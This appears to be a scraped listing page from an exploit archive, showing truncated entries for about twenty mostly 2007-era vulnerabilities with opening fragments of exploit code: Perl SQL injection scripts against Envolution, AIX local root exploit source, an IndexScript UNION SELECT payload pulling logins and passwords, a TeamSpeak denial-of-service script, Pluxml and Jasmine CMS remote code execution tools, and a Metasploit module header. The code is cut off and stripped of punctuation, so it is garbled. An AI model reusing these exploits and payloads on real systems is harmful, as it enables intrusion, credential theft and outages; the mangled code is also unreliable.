Lib2 PHP Library My_Statistics.PHP远程文件包含漏

Lib2 PHP Library是一款基于PHP的WEB应用程序。 Lib2 PHP Library不正确过滤用户提交的URI输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是脚本'MyStatistics.PHP'对用户提交的'DOCUMENTROOT'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以WEB权限执行任意命令。 Omnistar Lib2 PHP Library 0.2 目前没有解决方案提供： http://www.omnistarinc.com/fonin/downloads.php...

CVE-2007-4333

CVE-2007-4333 describes multiple cross-site scripting (XSS) vulnerabilities in signup.php of Article Dashboard. The issue allows remote attackers to inject arbitrary web script or HTML via the parameters f_emailaddress, f_reemailaddress, and other unspecified fields. Connected sources corroborate...

PHP Blue Dragon CMS 3.0.0 - SQL Injection

PHP Blue Dragon CMS 3.0.0 - SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex =...

SOCKS Proxy UNC Path Redirection

This module provides a Socks proxy service that redirects all HTTP requests to a web page that loads a UNC path. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'SOCKS Proxy UNC Path Redirection...

Envolution <= 1.1.0 (topic) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 3 usage; exit; $site = $ARGV0; Site Target $path = $ARGV1; Path direktori envolution1-0-1 $usid = $ARGV2; member id $www = new LWP::UserAgent; $sql =...

Envolution (News) <= v1.1.0 Remote SQL Injection

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV 3 usage; exit; $site = $ARGV0; Site Target $path = $ARGV1; Path direktori envolution1-0-1 $usid = $ARGV2; member id $www = new LWP::UserAgent; $sql =...

BellaBook Admin Bypass/Remote Code Execution

?php / AUTHOR: ilker kandemir DOWNLOAD: http://www.jemjabella.co.uk/scripts/BellaBuffs.zip Explanation: The user verification routine used in most of the files is: requireonce'prefs.php'; if isset$COOKIE'bellabuffs' if $COOKIE'bellabuffs' == md5$adminname.$adminpass.$secret if isset$GET'ap' $page...

wolioCMS Auth Bypass / Remote SQL Injection Vulnerabilities

Exploit for unknown platform in category web applications =========================================================== wolioCMS Auth Bypass / Remote SQL Injection Vulnerabilities =========================================================== wolioCMS - SQL Injection and Bypass Administrator Login...

aix53-capture.txt

/ 07/2007: public release qaaz@aix:$ ./aix-capture -------------------------------- AIX capture Local Root Exploit By qaaz -------------------------------- bash: no job control in this shell bash-3.00 / include include include include include include include define TARGET "/usr/bin/capture" defin...

IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit

No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX ftp Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y x y ? x : y...

IndexScript 2.8 - cat_id SQL Injection

IndexScript 2.8 - catid SQL Injection Site: http://indexscript.com Found By: xssvgamer Google Dork: allintext: "This site is powered by IndexScript" exploit: http://www.example.com/showcat.php?catid=-1 UNION ALL SELECT login,password FROM dirlogin / Blind SQL injection in indexscript.. Vul Code:...

TeamSpeak 2.0 (Windows Release) - Remote Denial of Service

!/usr/bin/perl TeamSpeak 2.0 Windows Release Remote D0S Exploit by Yag Kohha skyhole at gmail.com Vendor URL: http://www.goteamspeak.com/ TeamSpeak WebServer has no tcp session expire and no checks for incoming values length. TODO: Edit $target value Run script CPU 100%, Memory up for 1.2 Gb per...

Lotus Domino IMAP4 Server 6.5.4 - Remote Buffer Overflow

Lotus Domino IMAP4 Server Release 6.5.4 / Windows 2000 Advanced Server x86 Remote Exploit Vulnerable: IBM Lotus Domino & prdelka Exploitation steps: 1 The instruction "call dword ecx" is performed with user supplied ECX 2 EAX reference our buffer from retaddr onward 3 we put pointer in ECX to a...

Design/Logic Flaw

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2007-3699. Reason: This candidate is a duplicate of CVE-2007-3699. Notes: All CVE users should reference CVE-2007-3699 instead of this candidate. All references and descriptions in this candidate have been removed to prevent...

elkagroup Image Gallery 1.0 Remote SQL Injection Vulnerability

No description provided by source. --==+================================================================================+==-- --==+ Image Gallery 1.0 SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xpr...

DreamLog 0.5 - 'upload.php' Arbitrary File Upload

? / \|/// \ - - // @ @ ----oOOo---oOOo--------------------------------------------------- Y! Underground Group [email protected] Dj7xpl.2600.ir ----ooooO-----Ooooo-------------------------------------------------- \ / \ / --------------------------------------------------------------------- !...

Pluxml 0.3.1 - Remote Code Execution

Pluxml 0.3.1 - Remote Code Execution sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196 /Waiting for connection on http://90.27.10.196:80/ !Now you have to make the victim to click on the url +Received 395 bytes from 182.26.54.2:2007 +Sending 366 bytes to 182.26.54.2:2007 +Received 3...

Pharmacy System 2.0 (index.php ID) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Pharmacy System 2.0 index.php ID Remote SQL Injection Vulnerability =====================================================================...

pbxs11-exec.txt

/ Name: PBXS - Pointless BitchX Sploit Author: clarity Infected Versions: 1.1-final and others? Synopsis: BitchX suffers from a unchecked bounds in a hash table in hook.c where one can inject data structures allowing for the remote execution of commands! Usage: Execute "gcc -o pbxs pbxs.c; ./pbxs...

Jasmine CMS 1.0 - SQL Injection Remote Code Execution

Jasmine CMS 1.0 - SQL Injection Remote Code Execution !/usr/bin/php -q -d shortopentag=on ?php errorreporting0; iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; if $argc4 print "-------------------------------------------------------------------------\r\n"; print " Jasmine CMS 1.0 SQL...